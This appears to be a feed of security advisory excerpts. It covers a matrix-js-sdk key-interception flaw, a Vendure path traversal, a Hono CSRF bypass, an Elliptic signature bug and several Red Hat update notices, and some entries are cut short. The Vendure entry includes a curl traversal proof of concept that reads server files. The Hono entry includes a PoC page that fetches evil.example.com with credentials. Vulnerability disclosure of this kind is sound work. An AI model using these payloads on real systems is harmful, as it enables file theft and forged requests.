#js

### Impact In matrix-js-sdk versions 9.11.0 through 34.7.0, the method `MatrixClient.sendSharedHistoryKeys` is vulnerable to interception by malicious homeservers. The method implements functionality proposed in [MSC3061](https://github.com/matrix-org/matrix-spec-proposals/pull/3061) and can be used by clients to share historical message keys with newly invited users, granting them access to past messages in the room. However, it unconditionally sends these "shared" keys to all of the invited user's devices, regardless of whether the user's cryptographic identity is verified or whether the user's devices are signed by that identity. This allows the attacker to potentially inject its own devices to receive sensitive historical keys without proper security checks. Note that this only affects clients running the SDK with the legacy crypto stack. Clients using the new Rust cryptography stack (i.e. those that call `MatrixClient.initRustCrypto()` instead of `MatrixClient.initCrypto()`) ar...

# Description ## Path traversal This vulnerability allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. From Rajesh Sharma who discovered the vulnerability: POC: `curl --path-as-is http://localhost:3000/assets/../package.json` gives you the content of package.json present in the local directory. The vulnerability stems from usage of decodedReqPath directly in path.join without performing any path normalization i.e path.normalize in node.js https://github.com/vendure-ecommerce/vendure/blob/801980e8f599c28c5059657a9d85dd03e3827992/packages/asset-server-plugin/src/plugin.ts#L352-L358 If the vendure service is behind some server like nginx, apache, etc. Path normalization is performed on the root server level but still the actual client's request path will be sent to vendure service ...

### Summary Bypass CSRF Middleware by a request without Content-Type herader. ### Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89 ### PoC ```server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch) ``` ```poc.html <!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([`test`],{}), }); } </script> <input type="button" onclick="myclick()" value="run" /> ``` Similarly, the fetch API does not add a Content-Type header for requests ...

The Elliptic package 6.5.7 for Node.js, in its for ECDSA implementation, does not correctly verify valid signatures if the hash contains at least four leading 0 bytes and when the order of the elliptic curve's base point is smaller than the hash, because of an _truncateToN anomaly. This leads to valid signatures being rejected. Legitimate transactions or communications may be incorrectly flagged as invalid.

Red Hat Security Advisory 2024-8131-03 - An update for firefox is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.6 Telecommunications Update Service. Issues addressed include a use-after-free vulnerability.

Red Hat Security Advisory 2024-8130-03 - An update for python3.9 is now available for Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions.

Red Hat Security Advisory 2024-8113-03 - Updated images that fix several bugs are now available for Red Hat OpenShift Data Foundation 4.16.3 on Red Hat Enterprise Linux 9 from Red Hat Container Registry.

Red Hat Security Advisory 2024-8111-03 - An update for skopeo is now available for Red Hat Enterprise Linux 9.

Red Hat Security Advisory 2024-8110-03 - An update for containernetworking-plugins is now available for Red Hat Enterprise Linux 9.

Red Hat Security Advisory 2024-8107-03 - An update for kernel is now available for Red Hat Enterprise Linux 8.8 Extended Update Support. Issues addressed include a use-after-free vulnerability.